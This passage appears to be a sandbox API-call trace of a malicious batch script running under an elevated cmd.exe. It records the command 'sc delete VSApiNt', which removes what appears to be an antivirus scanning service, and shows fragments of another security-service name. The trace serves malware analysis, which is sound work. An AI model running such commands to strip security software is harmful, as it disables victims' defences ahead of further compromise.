lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.677] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e338, cchWideChar=1 | out: lpWideCharStr="ACRCScanService\ne\n\n\nA\"\n") returned 1 [0073.677] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.677] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.677] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.677] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33a, cchWideChar=1 | out: lpWideCharStr="pRCScanService\ne\n\n\nA\"\n") returned 1 [0073.677] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.677] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.677] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.677] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33c, cchWideChar=1 | out: lpWideCharStr="iCScanService\ne\n\n\nA\"\n") returned 1 [0073.677] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.678] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.678] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.678] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33e, cchWideChar=1 | out: lpWideCharStr="NScanService\ne\n\n\nA\"\n") returned 1 [0073.678] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.678] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.678] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.678] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e340, cchWideChar=1 | out: lpWideCharStr="tcanService\ne\n\n\nA\"\n") returned 1 [0073.678] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.678] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.678] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.678] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e342, cchWideChar=1 | out: lpWideCharStr="\nanService\ne\n\n\nA\"\n") returned 1 [0073.678] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.678] GetFileType (hFile=0xb8) returned 0x3 [0073.678] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.678] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.678] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.678] GetFileType (hFile=0x120) returned 0x3 [0073.678] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.678] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete VSApiNt\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete VSApiNt\n", lpUsedDefaultChar=0x0) returned 19 [0073.678] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x12, lpNumberOfBytesWritten=0x2cf418, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf418*=0x12, lpOverlapped=0x0) returned 1 [0073.678] GetProcessHeap () returned 0x4a0000 [0073.678] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4012) returned 0x4e8630 [0073.678] GetProcessHeap () returned 0x4a0000 [0073.678] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4e8630 | out: hHeap=0x4a0000) returned 1 [0073.679] GetProcessHeap () returned 0x4a0000 [0073.679] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0) returned 0x4c4660 [0073.679] GetProcessHeap () returned 0x4a0000 [0073.679] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x16) returned 0x4b89b0 [0073.679] GetProcessHeap () returned 0x4a0000 [0073.679] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x30) returned 0x4b6510 [0073.679] GetConsoleOutputCP () returned 0x1b5 [0073.679] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0073.679] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0073.679] GetConsoleTitleW (in: lpConsoleTitle=0x2cf3d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0073.679] GetProcessHeap () returned 0x4a0000 [0073.679] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x218) returned 0x4b9910 [0073.679] GetProcessHeap () returned 0x4a0000 [0073.679] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x36) returned 0x4b6550 [0073.679] GetProcessHeap () returned 0x4a0000 [0073.679] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x420) returned 0x4bc590 [0073.679] SetErrorMode (uMode=0x0) returned 0x1 [0073.679] SetErrorMode (uMode=0x1) returned 0x0 [0073.680] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4bc5a0, lpFilePart=0x2cec60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cec60*="Desktop") returned 0x25 [0073.680] SetErrorMode (uMode=0x1) returned 0x1 [0073.680] GetProcessHeap () returned 0x4a0000 [0073.680] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4bc590, Size=0x62) returned 0x4bc590 [0073.680] GetProcessHeap () returned 0x4a0000 [0073.680] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4bc590) returned 0x62 [0073.680] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0073.680] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0073.680] GetProcessHeap () returned 0x4a0000 [0073.680] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x128) returned 0x4b5b70 [0073.680] GetProcessHeap () returned 0x4a0000 [0073.680] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x240) returned 0x4a1ab0 [0073.680] GetProcessHeap () returned 0x4a0000 [0073.680] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4a1ab0, Size=0x12a) returned 0x4a1ab0 [0073.680] GetProcessHeap () returned 0x4a0000 [0073.680] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4a1ab0) returned 0x12a [0073.680] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0073.680] GetProcessHeap () returned 0x4a0000 [0073.680] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xe8) returned 0x4b9b30 [0073.680] GetProcessHeap () returned 0x4a0000 [0073.680] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9b30, Size=0x7e) returned 0x4b9b30 [0073.680] GetProcessHeap () returned 0x4a0000 [0073.680] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9b30) returned 0x7e [0073.680] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0073.680] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0073.681] GetLastError () returned 0x2 [0073.681] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0073.681] GetLastError () returned 0x2 [0073.681] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0073.681] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4bba10 [0073.681] FindClose (in: hFindFile=0x4bba10 | out: hFindFile=0x4bba10) returned 1 [0073.681] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0073.682] GetLastError () returned 0x2 [0073.682] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4bba10 [0073.682] FindClose (in: hFindFile=0x4bba10 | out: hFindFile=0x4bba10) returned 1 [0073.682] GetConsoleTitleW (in: lpConsoleTitle=0x2cef20, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0073.682] GetProcessHeap () returned 0x4a0000 [0073.682] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x21c) returned 0x4b9180 [0073.682] GetConsoleTitleW (in: lpConsoleTitle=0x4b9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0073.682] GetProcessHeap () returned 0x4a0000 [0073.682] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9180, Size=0x9c) returned 0x4b9180 [0073.682] GetProcessHeap () returned 0x4a0000 [0073.682] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9180) returned 0x9c [0073.682] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete VSApiNt") returned 1 [0073.683] GetProcessHeap () returned 0x4a0000 [0073.683] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9180 | out: hHeap=0x4a0000) returned 1 [0073.683] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cecd8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cec98 | out: lpAttributeList=0x2cecd8, lpSize=0x2cec98) returned 1 [0073.683] UpdateProcThreadAttribute (in: lpAttributeList=0x2cecd8, dwFlags=0x0, Attribute=0x60001, lpValue=0x2cec88, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cecd8, lpPreviousValue=0x0) returned 1 [0073.683] GetStartupInfoW (in: lpStartupInfo=0x2cedf0 | out: lpStartupInfo=0x2cedf0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0073.683] GetProcessHeap () returned 0x4a0000 [0073.683] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x20) returned 0x4b4610 [0073.683] GetProcessHeap () returned 0x4a0000 [0073.683] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4610 | out: hHeap=0x4a0000) returned 1 [0073.683] GetProcessHeap () returned 0x4a0000 [0073.683] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x12) returned 0x4b89d0 [0073.683] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete VSApiNt", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2ced10*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete VSApiNt", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cecc0 | out: lpCommandLine="sc delete VSApiNt", lpProcessInformation=0x2cecc0*(hProcess=0x54, hThread=0x50, dwProcessId=0x924, dwThreadId=0x954)) returned 1 [0073.687] CloseHandle (hObject=0x50) returned 1 [0073.687] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0073.687] GetProcessHeap () returned 0x4a0000 [0073.687] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba70 | out: hHeap=0x4a0000) returned 1 [0073.687] GetEnvironmentStringsW () returned 0x4c1b10* [0073.687] GetProcessHeap () returned 0x4a0000 [0073.687] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba10 [0073.687] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0073.687] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x2ce5c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2ce5c8, ReturnLength=0x0) returned 0x0 [0073.687] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffd6000, lpBuffer=0x2ce600, nSize=0x380, lpNumberOfBytesRead=0x2ce5c0 | out: lpBuffer=0x2ce600*, lpNumberOfBytesRead=0x2ce5c0*=0x380) returned 1 [0073.687] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0073.776] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x2cec08 | out: lpExitCode=0x2cec08*=0x424) returned 1 [0073.776] CloseHandle (hObject=0x54) returned 1 [0073.777] _vsnwprintf (in: _Buffer=0x2cee78, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cec18 | out: _Buffer="00000424") returned 8 [0073.777] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0073.777] GetProcessHeap () returned 0x4a0000 [0073.777] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0073.777] GetEnvironmentStringsW () returned 0x4c1b10* [0073.777] GetProcessHeap () returned 0x4a0000 [0073.777] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba10 [0073.777] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0073.777] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0073.777] GetProcessHeap () returned 0x4a0000 [0073.777] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0073.777] GetEnvironmentStringsW () returned 0x4c1b10* [0073.777] GetProcessHeap () returned 0x4a0000 [0073.777] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba10 [0073.777] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0073.777] GetProcessHeap () returned 0x4a0000 [0073.778] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89d0 | out: hHeap=0x4a0000) returned 1 [0073.778] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cecd8 | out: lpAttributeList=0x2cecd8) [0073.778] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0073.778] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.778] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0073.778] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.778] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a06e194 | out: lpMode=0x4a06e194) returned 0 [0073.779] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.779] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a06e198 | out: lpMode=0x4a06e198) returned 0 [0073.779] GetConsoleOutputCP () returned 0x1b5 [0073.779] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0073.779] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0073.779] GetProcessHeap () returned 0x4a0000 [0073.779] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9b30 | out: hHeap=0x4a0000) returned 1 [0073.779] GetProcessHeap () returned 0x4a0000 [0073.779] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4a1ab0 | out: hHeap=0x4a0000) returned 1 [0073.779] GetProcessHeap () returned 0x4a0000 [0073.779] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b5b70 | out: hHeap=0x4a0000) returned 1 [0073.779] GetProcessHeap () returned 0x4a0000 [0073.779] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bc590 | out: hHeap=0x4a0000) returned 1 [0073.779] GetProcessHeap () returned 0x4a0000 [0073.780] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b6550 | out: hHeap=0x4a0000) returned 1 [0073.780] GetProcessHeap () returned 0x4a0000 [0073.780] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9910 | out: hHeap=0x4a0000) returned 1 [0073.780] GetProcessHeap () returned 0x4a0000 [0073.780] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b6510 | out: hHeap=0x4a0000) returned 1 [0073.780] GetProcessHeap () returned 0x4a0000 [0073.780] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89b0 | out: hHeap=0x4a0000) returned 1 [0073.780] GetProcessHeap () returned 0x4a0000 [0073.780] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c4660 | out: hHeap=0x4a0000) returned 1 [0073.780] _vsnwprintf (in: _Buffer=0x4a086340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cf138 | out: _Buffer="\r\n") returned 2 [0073.780] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.780] GetFileType (hFile=0x120) returned 0x3 [0073.780] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.780] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0073.780] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2cf108, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf108*=0x2, lpOverlapped=0x0) returned 1 [0073.780] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0073.780] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a07c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0073.780] _vsnwprintf (in: _Buffer=0x4a06eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2cf148 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0073.780] _vsnwprintf (in: _Buffer=0x4a06ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2cf148 | out: _Buffer=">") returned 1 [0073.780] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.780] GetFileType (hFile=0x120) returned 0x3 [0073.780] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.780] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0073.781] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x2cf138, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf138*=0x26, lpOverlapped=0x0) returned 1 [0073.781] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.781] GetFileType (hFile=0xb8) returned 0x3 [0073.781] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.781] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.781] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.781] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e320, cchWideChar=1 | out: lpWideCharStr="sc delete VSApiNt\nanService\ne\n\n\nA\"\n") returned 1 [0073.781] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.781] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.781] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.781] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e322, cchWideChar=1 | out: lpWideCharStr="c delete VSApiNt\nanService\ne\n\n\nA\"\n") returned 1 [0073.781] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.781] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.781] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.781] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e324, cchWideChar=1 | out: lpWideCharStr=" delete VSApiNt\nanService\ne\n\n\nA\"\n") returned 1 [0073.781] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.781] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.781] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.781] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e326, cchWideChar=1 | out: lpWideCharStr="delete VSApiNt\nanService\ne\n\n\nA\"\n") returned 1 [0073.782] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.782] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.782] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.782] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e328, cchWideChar=1 | out: lpWideCharStr="elete VSApiNt\nanService\ne\n\n\nA\"\n") returned 1 [0073.782] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.782] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.782] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.782] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32a, cchWideChar=1 | out: lpWideCharStr="lete VSApiNt\nanService\ne\n\n\nA\"\n") returned 1 [0073.782] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.782] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.782] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.782] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32c, cchWideChar=1 | out: lpWideCharStr="ete VSApiNt\nanService\ne\n\n\nA\"\n") returned 1 [0073.782] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.782] 